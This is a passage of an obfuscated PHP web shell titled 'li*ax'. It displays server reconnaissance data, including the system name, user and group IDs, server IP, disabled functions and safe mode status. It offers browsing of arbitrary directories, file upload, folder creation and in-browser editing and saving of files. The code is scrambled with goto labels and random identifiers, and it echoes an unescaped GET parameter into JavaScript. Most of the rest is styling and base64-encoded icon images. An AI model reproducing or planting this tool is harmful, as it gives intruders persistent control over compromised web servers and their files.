: ($vcuhH & 0x200 ? 'T' : '-'); return $Mcsvi; } function lLyWQ($xaBqK) { if ($xaBqK >= 1073741824) { goto LWs65; } if ($xaBqK >= 1048576) { goto KpMq0; } if ($xaBqK >= 1024) { goto LP7j9; } return $xaBqK . ' B'; goto TQpVG; LWs65: return sprintf('%1.2f', $xaBqK / 1073741824) . ' GB'; goto TQpVG; KpMq0: return sprintf('%1.2f', $xaBqK / 1048576) . ' MB'; goto TQpVG; LP7j9: return sprintf('%1.2f', $xaBqK / 1024) . ' KB'; TQpVG: } if (isset($_GET['dir'])) { goto jmZu_; } $NQaze = $_SERVER['DOCUMENT_ROOT']; goto fl6sa; jmZu_: $NQaze = $_GET['dir']; chdir($NQaze); fl6sa: $FaxOQ = php_uname(); $YLKxz = gethostbyname($_SERVER['HTTP_HOST']); $NQaze = str_replace("\\", "/", $NQaze); $GRzI6 = explode("/", $NQaze); $AP1k7 = llywq(disk_free_space("/")); $oonyt = lLYwq(disk_total_space("/")); $anWKa = $oonyt - $AP1k7; $cw_mk = @ini_get(strtolower("safe_mode")) == 'on' ? "<font color=red>ON</font>" : "<font color=lime>OFF</font>"; $lbxGy = @ini_get("disable_functions"); $S8iDF = function_exists('vNwJ1') ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>"; $Kj2_X = function_exists('curl_version') ? "<font color=lime>ON</font>" : "<font color=red>OFF</font>"; $IzgnR = !empty($lbxGy) ? "<font color=red>{$lbxGy}</font>" : "<font color=lime>NONE</font>"; if (!function_exists('posix_getegid')) { $RqqyV = @get_current_user(); $mg6a2 = @getmyuid(); $J_61N = @getmygid(); $nVEB9 = "?"; } else { $mg6a2 = @posix_getpwuid(posix_geteuid()); $J_61N = @posix_getgrgid(posix_getegid()); $RqqyV = $mg6a2['name']; $mg6a2 = $mg6a2['uid']; $nVEB9 = $J_61N['name']; $J_61N = $J_61N['gid']; } echo "System: <font class=infopath color=lime>" . $FaxOQ . "</font><br>"; echo "User: <font class=infopath color=lime>" . $RqqyV . "</font> (" . $mg6a2 . ") Group: <font color=lime>" . $nVEB9 . "</font> (" . $J_61N . ")<br>"; echo "Server IP: <font class=infopath color=lime>" . $YLKxz . "</font> | Your IP: <font color=lime>" . $_SERVER['REMOTE_ADDR'] . "</font><br>"; echo "HDD: <font class=infopath color=lime>{$anWKa}</font> / <font color=lime>{$oonyt}</font> ( Free: <font color=lime>{$AP1k7}</font> )<br>"; echo "Safe Mode: {$cw_mk}<br>"; echo "Disable Functions: {$IzgnR}<br>"; echo "MySQL: {$S8iDF} | CURL: {$Kj2_X} <br>"; echo "ROOT DIR: "; $WdRWX = 1; foreach ($GRzI6 as $zbLcE => $C_Gud) { echo "<a href='?p="; $VsgRk = $WdRWX; vHp7Q: if (!($VsgRk <= count($GRzI6))) { goto mpBOE; } echo '..'; if (!($VsgRk != $zbLcE)) { goto B4ujd; } echo urlencode("/"); B4ujd: IcF_e: $VsgRk++; goto vHp7Q; mpBOE: $WdRWX++; echo "'>{$C_Gud}</a>/"; YCNj8: } sziwK: ?> </div> </div> <div class="path"> <div class="float-right"> <a title="Upload files" href="?p=<?php echo urlencode(TrnH8); ?>&amp;upload"><i class="icon-upload"></i></a> <a title="New folder" href="#" onclick="newfolder('<?php echo HQQZ2(TrnH8); ?>');return false;"><i class="icon-folder_add"></i></a> <?php if (!pCyHf) { goto bxnVt; } ?><a title="Logout" href="?logout=1"><i class="icon-logout"></i></a><?php bxnVt: ?> </div> <?php $Hwgbl = WxW3q($Hwgbl); $gaNBt = "<a href='?p='><i class='icon-home' title='" . kdObv . "'></i></a>"; $v3N_C = '<i class="icon-separator"></i>'; if (!($Hwgbl != '')) { goto gakny; } $Zk1kj = explode('/', $Hwgbl); $eRrwE = count($Zk1kj); $ccs3N = array(); $aFPG_ = ''; $VsgRk = 0; H6qYy: if (!($VsgRk < $eRrwE)) { goto nXKOc; } $aFPG_ = trim($aFPG_ . '/' . $Zk1kj[$VsgRk], '/'); $P5ffH = urlencode($aFPG_); $ccs3N[] = "<a href='?p={$P5ffH}'>" . hQQz2(JdIFn($Zk1kj[$VsgRk])) . "</a>"; LzUWD: $VsgRk++; goto H6qYy; nXKOc: $gaNBt .= $v3N_C . implode($v3N_C, $ccs3N); gakny: echo '<div class="break-word">' . $gaNBt . '</div>'; ?> </div> <?php } function cnqni() { if (!isset($_SESSION['message'])) { goto n0vjU; } $xFq5h = isset($_SESSION['status']) ? $_SESSION['status'] : 'ok'; echo '<p class="message ' . $xFq5h . '">' . $_SESSION['message'] . '</p>'; unset($_SESSION['message']); unset($_SESSION['status']); n0vjU: } function BmvKd() { $oKTn0 = '20160315'; header("Content-Type: text/html; charset=utf-8"); header("Expires: Sat, 26 Jul 1997 05:00:00 GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0"); header("Pragma: no-cache"); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>li*ax</title> <style> html,body,div,span,p,pre,a,code,em,img,small,strong,ol,ul,li,form,label,table,tr,th,td{margin:0;padding:0;vertical-align:baseline;outline:none;font-size:100%;background:transparent;border:none;text-decoration:none} html{overflow-y:scroll}body{padding:0;font:13px/16px Tahoma,Arial,sans-serif;color: #09a515; background: #000000;} input,select,textarea,button{font-size:inherit;font-family:inherit} a{color:#21d257;text-decoration:none}a:hover{color:#0cbdf3}img{vertical-align:middle;border:none} a img{border:none}span.gray{color:#989898}small{font-size:11px;color:#999}p{margin-bottom:10px} ul{margin-left:2em;margin-bottom:10px}ul{list-style-type:none;margin-left:0}ul li{padding:3px 0} table{border-collapse:collapse;border-spacing:0;margin-bottom:10px;width:100%} th,td{padding: 4px 7px;text-align: left;vertical-align: top;border: 1px solid #176316;background: #055015b3;white-space: nowrap;} th,td.gray{background-color:#1c672c}td.gray span{color:#222} tr:hover td{background-color:#085f1a}tr:hover td.gray{background-color:#1c672c} code,pre{display:block;margin-bottom:10px;font:13px/16px Consolas,'Courier New',Courier,monospace;border:1px dashed #ccc;padding:5px;overflow:auto} pre.with-hljs{padding:0} pre.with-hljs code{margin:0;border:0;overflow:visible} code.maxheight,pre.maxheight{max-height:512px}input[type="checkbox"]{margin:0;padding:0} input, select, textarea, button {background-color: #1c672c;color: #21d239;border: solid 1px #14a712;} ::placeholder {color: #20d235;} #wrapper{max-width:1000px;min-width:400px;margin:10px auto} .path{padding:4px 7px;border:1px solid #176316;background-color:#073c429c;margin-bottom:10px} .right{text-align:right}.center{text-align:center}.float-right{float:right} .message{padding:4px 7px;border:1px solid #ddd;background-color: #56d270;} .message.ok{border-color:green;color:green} .message.error{border-color:red;color:red} .message.alert{border-color:orange;color:orange} .btn{border:0;background:none;padding:0;margin:0;font-weight:bold;color:#21d257;cursor:pointer}.btn:hover{color:#0cbdf3} .preview-img{max-width:100%;background:url("") repeat 0 0} .preview-video{position:relative;max-width:100%;height:0;padding-bottom:62.5%;margin-bottom:10px}.preview-video video{position:absolute;width:100%;height:100%;left:0;top:0;background:#000} [class*="icon-"]{display:inline-block;width:16px;height:16px;background:url("<?php echo MRZDt; ?>?img=sprites&amp;t=<?php echo $oKTn0; ?>") no-repeat 0 0;vertical-align:bottom} .icon-document{background-position:-16px 0}.icon-folder{background-position:-32px 0} .icon-folder_add{background-position:-48px 0}.icon-upload{background-position:-64px 0} .icon-edit{background-position: -16px -16px;} .icon-arrow_up{background-position:-80px 0}.icon-home{background-position:-96px 0} .icon-separator{background-position:-112px 0}.icon-cross{background-position:-128px 0} .icon-copy{background-position:-144px 0}.icon-apply{background-position:-160px 0} .icon-cancel{background-position:-176px 0}.icon-rename{background-position:-192px 0} .icon-checkbox{background-position:-208px 0}.icon-checkbox_invert{background-position:-224px 0} .icon-checkbox_uncheck{background-position:-240px 0}.icon-download{background-position:-256px 0} .icon-goback{background-position:-272px 0}.icon-folder_open{background-position:-288px 0} .icon-file_application{background-position:0 -16px}.icon-file_code{background-position:-16px -16px} .icon-file_csv{background-position:-32px -16px}.icon-file_excel{background-position:-48px -16px} .icon-file_film{background-position:-64px -16px}.icon-file_flash{background-position:-80px -16px} .icon-file_font{background-position:-96px -16px}.icon-file_html{background-position:-112px -16px} .icon-file_illustrator{background-position:-128px -16px}.icon-file_image{background-position:-144px -16px} .icon-file_music{background-position:-160px -16px}.icon-file_outlook{background-position:-176px -16px} .icon-file_pdf{background-position:-192px -16px}.icon-file_photoshop{background-position:-208px -16px} .icon-file_php{background-position:-224px -16px}.icon-file_playlist{background-position:-240px -16px} .icon-file_powerpoint{background-position:-256px -16px}.icon-file_swf{background-position:-272px -16px} .icon-file_terminal{background-position:-288px -16px}.icon-file_text{background-position:-304px -16px} .icon-file_word{background-position:-320px -16px}.icon-file_zip{background-position:-336px -16px} .icon-logout{background-position:-304px 0}.icon-chain{background-position:-320px 0} .icon-link_folder{background-position:-352px -16px}.icon-link_file{background-position:-368px -16px} .compact-table{border:0;width:auto}.compact-table td,.compact-table th{width:100px;border:0;text-align:center}.compact-table tr:hover td{background-color:#fff} .filename{max-width:420px;white-space:nowrap;overflow:hidden;text-overflow:ellipsis} .break-word{word-wrap:break-word} </style> <link rel="icon" href="<?php echo MRZDt; ?>?img=favicon" type="image/png"> <link rel="shortcut icon" href="<?php echo MRZDt; ?>?img=favicon" type="image/png"> <?php if (!(isset($_GET['view']) && J1kXO)) { goto yq1UY; } ?> <link rel="stylesheet" href="//cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/styles/<?php echo k1Qsx; ?>.min.css"> <?php yq1UY: ?> </head> <body> <div id="wrapper"> <?php } function fbF3U() { ?> </div> <script> function newfolder(p){var n=prompt('New folder name','folder');if(n!==null&&n!==''){window.location.search='p='+encodeURIComponent(p)+'&new='+encodeURIComponent(n);}} function rename(p,f){var n=prompt('New name',f);if(n!==null&&n!==''&&n!=f){window.location.search='p='+encodeURIComponent(p)+'&ren='+encodeURIComponent(f)+'&to='+encodeURIComponent(n);}} function change_checkboxes(l,v){for(var i=l.length-1;i>=0;i--){l[i].checked=(typeof v==='boolean')?v:!l[i].checked;}} function get_checkboxes(){var i=document.getElementsByName('file[]'),a=[];for(var j=i.length-1;j>=0;j--){if(i[j].type='checkbox'){a.push(i[j]);}}return a;} function select_all(){var l=get_checkboxes();change_checkboxes(l,true);} function unselect_all(){var l=get_checkboxes();change_checkboxes(l,false);} function invert_all(){var l=get_checkboxes();change_checkboxes(l);} function checkbox_toggle(){var l=get_checkboxes();l.push(this);change_checkboxes(l);} function edit_save() { var Base64={_keyStr:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",encode:function(e){var t="";var n,r,i,s,o,u,a;var f=0;e=Base64._utf8_encode(e);while(f<e.length){n=e.charCodeAt(f++);r=e.charCodeAt(f++);i=e.charCodeAt(f++);s=n>>2;o=(n&3)<<4|r>>4;u=(r&15)<<2|i>>6;a=i&63;if(isNaN(r)){u=a=64}else if(isNaN(i)){a=64}t=t+this._keyStr.charAt(s)+this._keyStr.charAt(o)+this._keyStr.charAt(u)+this._keyStr.charAt(a)}return t},_utf8_encode:function(e){e=e.replace(/\r\n/g,"\n");var t="";for(var n=0;n<e.length;n++){var r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r)}else if(r>127&&r<2048){t+=String.fromCharCode(r>>6|192);t+=String.fromCharCode(r&63|128)}else{t+=String.fromCharCode(r>>12|224);t+=String.fromCharCode(r>>6&63|128);t+=String.fromCharCode(r&63|128)}}return t}}; var url = window.location.href.replace("&edit=1", ""); $.ajax({ type: "POST", url: window.location, data: 'p=<?php echo urlencode(TrnH8); ?>&save=1&name='+Base64.encode('<?php echo $_GET['view']; ?>')+'&content='+Base64.encode($("#wrapper > div:nth-child(3) > pre > textarea").val()), success: function(mes){alert("Saved Successfully"); window.location.href = url; }, failure: function(mes) {alert("Error: try again");} }); } </script> <?php if (!(isset($_GET['view']) && J1kXO)) { goto Xp331; } ?> <script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/9.2.0/highlight.min.js"></script> <script src="https://code.jquery.com/jquery-2.2.4.min.js"></script> <script>hljs.initHighlightingOnLoad();</script> <?php Xp331: ?> </body> </html> <?php } function y8CXo($KI6in) { $gFent = gmdate('D, d M Y 00:00:00') . ' GMT'; $wGt3K = gmdate('D, d M Y 00:00:00', strtotime('+1 day')) . ' GMT'; $KI6in = trim($KI6in); $Nw39Y = HS5h3(); $PBMQH = 'iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAEElEQVR42mL4//8/A0CAAQAI/AL+26JNFgAAAABJRU5ErkJggg=='; if (!isset($Nw39Y[$KI6in])) { goto xWRBh; } $PBMQH = $Nw39Y[$KI6in]; xWRBh: $PBMQH = base64_decode($PBMQH); if (function_exists('mb_strlen')) { goto SJQ8c; } $dMnh6 = strlen($PBMQH); goto RYyHs; SJQ8c: $dMnh6 = mb_strlen($PBMQH, '8bit'); RYyHs: if (function_exists('header_remove')) { goto rAG0p; } header('Cache-Control:'); header('Pragma:'); goto C_cFX; rAG0p: header_remove('Cache-Control'); header_remove('Pragma'); C_cFX: header('Last-Modified: ' . $gFent, true, 200); header('Expires: ' . $wGt3K); header('Content-Length: ' . $dMnh6); header('Content-Type: image/png'); echo $PBMQH; exit; } function hs5h3() { return array('favicon' => 'iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJ bWFnZVJlYWR5ccllPAAAAZVJREFUeNqkk79Lw0AUx1+uidTQim4Waxfpnl1BcHMR6uLkIF0cpYOI f4KbOFcRwbGTc0HQSVQQXCqlFIXgFkhIyvWS870LaaPYH9CDy8vdfb+fey930aSUMEvT6VHVzw8x rKUX3N3Hj/8M+cZ6GcOtBPl6KY5iAA7KJzfVWrfbhUKhALZtQ6myDf1+X5nsuzjLUmUOnpa+v5r1 Z4ZDDfsLiwER45xDEATgOI6KntfDd091GidzC8vZ4vH1QQ09+4MSMAMWRREKPMhmsyr6voYmrnb2 PKEizdEabUaeFCDKCCHAdV0wTVNFznMgpVqGlZ2cipzHGtKSZwCIZJgJwxB38KHT6Sjx21V75Jcn LXmGAKTRpGVZUx2dAqQzSEqw9kqwuGqONTufPrw37D8lQFxCvjgPXIixANLEGfwuQacMOC4kZz+q GdhJS550BjpRCdCbAJCMJRkMASEIg+4Bxz4JwAwDSEueAYDLIM+QrOk6GHiRxjXSkJY8KUCvdXZ6 kbuvNx+mOcbN9taGBlpLAWf9nX8EGADoCfqkKWV/cgAAAABJRU5ErkJggg==', 'sprites' => 'iVBORw0KGgoAAAANSUhEUgAAAYAAAAAgCAMAAAAscl/XAAAC/VBMVEUAAABUfn4KKipIcXFSeXsx VlZSUlNAZ2c4Xl4lSUkRDg7w8O/d3d3LhwAWFhYXODgMLCx8fHw9PT2TtdOOAACMXgE8lt+dmpq+ fgABS3RUpN+VUycuh9IgeMJUe4C5dUI6meKkAQEKCgoMWp5qtusJmxSUPgKudAAXCghQMieMAgIU abNSUlJLe70VAQEsh85oaGjBEhIBOGxfAoyUbUQAkw8gui4LBgbOiFPHx8cZX6PMS1OqFha/MjIK VKFGBABSAXovGAkrg86xAgIoS5Y7c6Nf7W1Hz1NmAQB3Hgx8fHyiTAAwp+eTz/JdDAJ0JwAAlxCQ UAAvmeRiYp6ysrmIAABJr/ErmiKmcsATpRyfEBAOdQgOXahyAAAecr1JCwHMiABgfK92doQGBgZG AGkqKiw0ldYuTHCYsF86gB05UlJmQSlra2tVWED////8/f3t9fX5/Pzi8/Px9vb2+/v0+fnn8vLf 7OzZ6enV5+eTpKTo6Oj6/v765Z/U5eX4+Pjx+Pjv0ojWBASxw8O8vL52dnfR19CvAADR3PHr6+vi 4uPDx8v/866nZDO7iNT335jtzIL+7aj86aTIztXDw8X13JOlpKJoaHDJAACltratrq3lAgKfAADb 4vb76N2au9by2I9gYGVIRkhNTE90wfXq2sh8gL8QMZ3pyn27AADr+uu1traNiIh2olTTshifodQ4 ZM663PH97+YeRq2GqmRjmkGjnEDnfjLVVg6W4f7s6/p/0fr98+5UVF6wz+SjxNsmVb5RUVWMrc7d zrrIpWI8PD3pkwhCltZFYbNZja82wPv05NPRdXzhvna4uFdIiibPegGQXankxyxe0P7PnOhTkDGA gBrbhgR9fX9bW1u8nRFamcgvVrACJIvlXV06nvtdgON4mdn3og7AagBTufkucO7snJz4b28XEhIT sflynsLEvIk55kr866aewo2YuYDrnFffOTk6Li6hgAn3y8XkusCHZQbt0NP571lqRDZyMw96lZXE s6qcrMmJaTmVdRW2AAAAbnRSTlMAZodsJHZocHN7hP77gnaCZWdx/ki+RfqOd/7+zc9N/szMZlf8 z8yeQybOzlv+tP5q/qKRbk78i/vZmf798s3MojiYjTj+/vqKbFc2/vvMzJiPXPzbs4z9++bj1XbN uJxhyMBWwJbp28C9tJ6L1xTnMfMAAA79SURBVGje7Jn5b8thHMcfzLDWULXq2upqHT2kbrVSrJYx NzHmviWOrCudqxhbNdZqHauKJTZHm0j0ByYkVBCTiC1+EH6YRBY/EJnjD3D84PMc3++39Z1rjp+8 Kn189rT5Pt/363k+3YHEDOrCSKP16t48q8U1IysLAUKZk1obLBYDKjAUoB8ziLv4vyQLQD+Lcf4Q jvno90kfDaQTRhcioIv7QPk2oJqF0PsIT29RzQdOEhfKG6QW8lcoLIYxjWPQD2GXr/63BhYsWrQA fYc0JSaNxa8dH4zUEYag32f009DTkNTnC4WkpcRAl4ryHTt37d5/ugxCIIEfZ0Dg4poFThIXygSp hfybmhSWLS0dCpDrdFMRZubUkmJ2+d344qIU8sayN8iFQaBgMDy+FWA/wjelOmbrHUKVtQgxFqFc JeE2RpmLEIlfFazzer3hcOAPCQiFasNheAo9HQ1f6FZRTgzs2bOnFwn8+AnG8d6impClTkSjCXWW kH80GmUGWP6A4kKkQwG616/tOhin6kii3dzl5YHqT58+bf5KQdq8IjCAg3+tk3NDCoPZC2fQuGcI 7+8nKQMk/b41r048UKOk48zln4MgesydOw0NDbeVCA2B+FVaEIDz/0MCSkOlAa+3tDRQSgW4t1MD +7d1Q8DA9/sY7weKapZ/Qp+tzwYDtLyRiOrBANQ0/3hTMBIJNsXPb0GM5ANfrLO3telmTrWXGBG7 fHVHbWjetKKiPCJsAkQv17VNaANv6zJTWAcvmCEtI0hnII4RLsIIBIjmHStXaqKzNCtXOvj+STxl OXKwgDuEBuAOEQDxgwDIv85bCwKMw6B5DzOyoVMCHpc+Dnu9gUD4MSeAGWACTnCBnxgorgGHRqPR Z8OTg5ZqtRoEwLODy79JdfiwqgkMGBAlJ4caYK3HNGGCHedPBLgqtld30IbmLZk2jTsB9jadboJ9 Aj4BMqlAXCqV4e3udGH8zn6CgMrtQCUIoPMEbj5Xk3jS3N78UpPL7R81kJOTHdU7QACff/9kAbD/ IxHvEGTcmi/1+/NlMjJsNXZKAAcIoAkwA0zAvqOMfQNFNcOsf2BGAppotl6D+P0fi6nOnFHFYk1x CzOgvqEGA4ICk91uQpQee90V1W58fdYDx0Ls+JnmTwy02e32iRNJB5L5X7y4/Pzq1buXX/lb/X4Z SRtTo4C8uf6/Nez11dRI0pkNCswzA+Yn7e3NZi5/aKcYaKPqLBDw5iHPKGUutCAQoKqri0QizsgW lJ6/1mqNK4C41bo2P72TnwEMEEASYAa29SCBHz1J2fdo4ExRTbHl5NiSBWQ/yGYCLBnFLbFY8PPn YCzWUpxhYS9IJDSIx1iydKJpKTPQ0+lyV9MuCEcQJw+tH57Hjcubhyhy00TAJEdAuocX4Gn1eNJJ wHG/xB+PQ8BC/6/0ejw1nAAJAeZ5A83tNH+kuaHHZD8A1MsRUvZ/c0WgPwhQBbGAiAQz2CjzZSJr GOxKw1aU6ZOhX2ZK6GYZ42ZoChbgdDED5UzAWcLRR4+cA0U1ZfmiRcuRgJkIYIwBARThuyDzE7hf nulLR5qKS5aWMAFOV7WrghjAAvKKpoEByH8J5C8WMELCC5AckkhGYCeS1lZfa6uf2/AuoM51yePB DYrM18AD/sE8Z2DSJLaeLHNCr385C9iowbekfHOvQWBN4dzxXhUIuIRPgD+yCskWrs3MOETIyFy7 sFMC9roYe0EA2YLMwIGeCBh68iDh5P2TFUOhzhs3LammFC5YUIgEVmY/mKVJ4wTUx2JvP358G4vV 8wLo/TKKl45cWgwaTNNx1b3M6TwNh5DuANJ7xk37Kv+RBDCAtzMvoPJUZSUVID116pTUw3ecyPZI vHIzfEQXMAEeAszzpKUhoR81m4GVNnJHyocN/Xnu2NLmaj/CEVBdqvX5FArvXGTYoAhIaxUb2GDo jAD3doabCeAMVFABZ6mAs/fP7sCBLykal1KjYemMYYhh2zgrWUBLi2r8eFVLiyDAlpS/ccXIkSXk IJTIiYAy52l8COkOoAZE+ZtMzEA/p8ApJ/lcldX4fc98fn8Nt+Fhd/Lbnc4DdF68fjgNzZMQhQkQ UKK52mAQC/D5fHVe6VyEDBlWqzXDwAbUGQEHdjAOgACcAGegojsRcPAY4eD9g7uGonl5S4oWL77G 17D+fF/AewmzkDNQaG5v1+SmCtASAWKgAVWtKKD/w0egD/TC005igO2AsctAQB6/RU1VVVUmuZwM CM3oJ2CB7+1xwPkeQj4TUOM5x/o/IJoXrR8MJAkY9ab/PZ41uZwAr88nBUDA7wICyncyypkAzoCb CbhIgMCbh6K8d5jFfA3346qUePywmtrDfAdcrmmfZeMENNbXq7Taj/X1Hf8qYk7VxOlcMwIRfbt2 7bq5jBqAHUANLFlmRBzyFVUr5NyQgoUdqcGZhMFGmrfUA5D+L57vcP25thQBArZCIkCl/eCF/IE5 6PdZHzqwjXEgtB6+0KuMM+DuRQQcowKO3T/WjE/A4ndwAmhNBXjq4q1wyluLamWIN2Aebl4uCAhq x2u/JUA+Z46Ri4aeBLYHYAEggBooSHmDXBgE1lnggcQU0LgLUMekrl+EclQSSgQCVFrVnFWTKav+ xAlY35Vn/RTSA4gB517X3j4IGMC1oOsHB8yEetm7xSl15kL4TVIAfjDxKjIRT6Ft0iQb3da3GhuD QGPjrWL0E7AlsAX8ZUTr/xFzIP7pRvQ36SsI6Yvr+QN45uN607JlKbUhg8eAOgB2S4bFarVk/PyG 6Sss4O/y4/WL7+avxS/+e8D/+ku31tKbRBSFXSg+6iOpMRiiLrQ7JUQ3vhIXKks36h/QhY+FIFJ8 pEkx7QwdxYUJjRC1mAEF0aK2WEActVVpUbE2mBYp1VofaGyibW19LDSeOxdm7jCDNI0rv0lIvp7v nnPnHKaQ+zHV/sxcPlPZT5Hrp69SEVg1vdgP+C/58cOT00+5P2pKreynyPWr1s+Ff4EOOzpctTt2 rir2A/bdxPhSghfrt9TxcCVlcWU+r5NH+ukk9fu6MYZL1NtwA9De3n6/dD4GA/N1EYwRxXzl+7NL i/FJUo9y0Mp+inw/Kgp9BwZz5wxArV5e7AfcNGDcLMGL9XXnEOpcAVlcmXe+QYAJTFLfbcDoLlGv /QaeQKiwfusuH8BB5EMnfYcKPGLAiCjmK98frQFDK9kvNZdW9lPk96cySKAq9gOCxmBw7hd4LcGl enQDBsOoAW5AFlfkMICnhqdvDJ3pSerDRje8/93GMM9xwwznhHowAINhCA0gz5f5MOxiviYG8K4F XoBHjO6RkdNuY4TI9wFuoZBPFfd6vR6EOAIaQHV9vaO+sJ8Ek7gAF5OQ7JeqoJX9FPn9qYwSqIr9 gGB10BYMfqkOluBIr6Y7AHQz4q4667k6q8sVIOI4n5zjARjfGDtH0j1E/FoepP4dg+Nha/fwk+Fu axj0uN650e+vxHqhG6YbptcmbSjPd13H8In5TRaU7+Ix4GgAI5Fx7qkxIuY7N54T86m89mba6WTZ Do/H2+HhB3Cstra2sP9EdSIGV3VCcn+Umlb2U+T9UJmsBEyqYj+gzWJrg8vSVoIjPW3vWLjQY6fx DXDcKOcKNBBxyFdTQ3KmSqOpauF5upPjuE4u3UPEhQGI66FhR4/iAYQfwGUNgx7Xq3v1anxUqBdq j8WG7mlD/jzfcf0jf+0Q8s9saoJnYFBzkWHgrC9qjUS58RFrVMw3ynE5IZ/Km2lsZtmMF9p/544X DcAEDwDAXo/iA5bEXd9dn2VAcr/qWlrZT5H7LSqrmYBVxfsBc5trTjbbeD+g7crNNuj4lTZYocSR nqa99+97aBrxgKvV5WoNNDTgeMFfSCYJzmi2ATQtiKfTrZ2t6daeHiLeD81PpVLXiPVmaBgfD1eE hy8Nwyvocb1X7tx4a7JQz98eg/8/sYQ/z3cXngDJfizm94feHzqMBsBFotFohIsK+Vw5t0vcv8pD 0SzVjPvPdixH648eO1YLmIviUMp33Xc9FpLkp2i1sp8i91sqzRUEzJUgMNbQdrPZTtceBEHvlc+f P/f2XumFFUoc6Z2Nnvu/4o1OxBsC7kAgl2s4T8RN1RPJ5ITIP22rulXVsi2LeE/aja6et4T+Zxja /yOVEtfzDePjfRW2cF/YVtGH9LhebuPqBqGeP9QUCjVd97/M82U7fAg77EL+WU0Igy2DDDMLDeBS JBq5xEWFfDl3MiDmq/R0wNvfy7efdd5BAzDWow8Bh6OerxdLDDgGHDE/eb9oAsp+itxvqaw4QaCi Eh1HXz2DFGfOHp+FGo7RCyuUONI7nZ7MWNzpRLwhj/NE3GRKfp9Iilyv0XVpuqr0iPfk8ZbQj/2E /v/4kQIu+BODhwYhjgaAN9oHeqV6L/0YLwv5tu7dAXCYJfthtg22tPA8yrUicFHlfDCATKYD+o/a 74QBoPVHjuJnAOIwAAy/JD9Fk37K/auif0L6LRc38IfjNQRO8AOoYRthhuxJCyTY/wwjaKZpCS/4 BaBnG+NDQ/FGFvEt5zGSRNz4fSPgu8D1XTqdblCnR3zxW4yHhP7j2M/fT09dTgnr8w1DfFEfRhj0 SvXWvMTwYa7gb8yA97/unQ59F5oBJnsUI6KcDz0B0H/+7S8MwG6DR8Bhd6D4Jj9GQlqPogk/JZs9 K/gn5H40e7aL7oToUYAfYMvUnMw40Gkw4Q80O6XcLMRZFgYwxrKl4saJjabqjRMCf6QDdOkeldJ/ BfSnrvWLcWgYxGX6KfPswEKLZVL6yrgXvv6g9uMBoDic3B/9e36KLvDNS7TZ7K3sGdE/wfoqDQD9 NGG+9AmYL/MDRM5iLo9nqDEYAJWRx5U5o+3SaHRaplS8H+Faf78Yh4bJ8k2Vz24qgJldXj8/DkCf wDy8fH/sdpujTD2KxhxM/ueA249E/wTru/Dfl05bPkeC5TI/QOAvbJjL47TnI8BDy+KlOJPV6bJM yfg3wNf+r99KxafOibNu5IQvKKsv2x9lTtEFvmGlXq9/rFeL/gnWD2kB6KcwcpB+wP/IyeP2svqp 9oeiCT9Fr1cL/gmp125aUc4P+B85iX+qJ/la0k/Ze0D0T0j93jXTpv0BYUGhQhdSooYAAAAASUVO RK5CYII='); }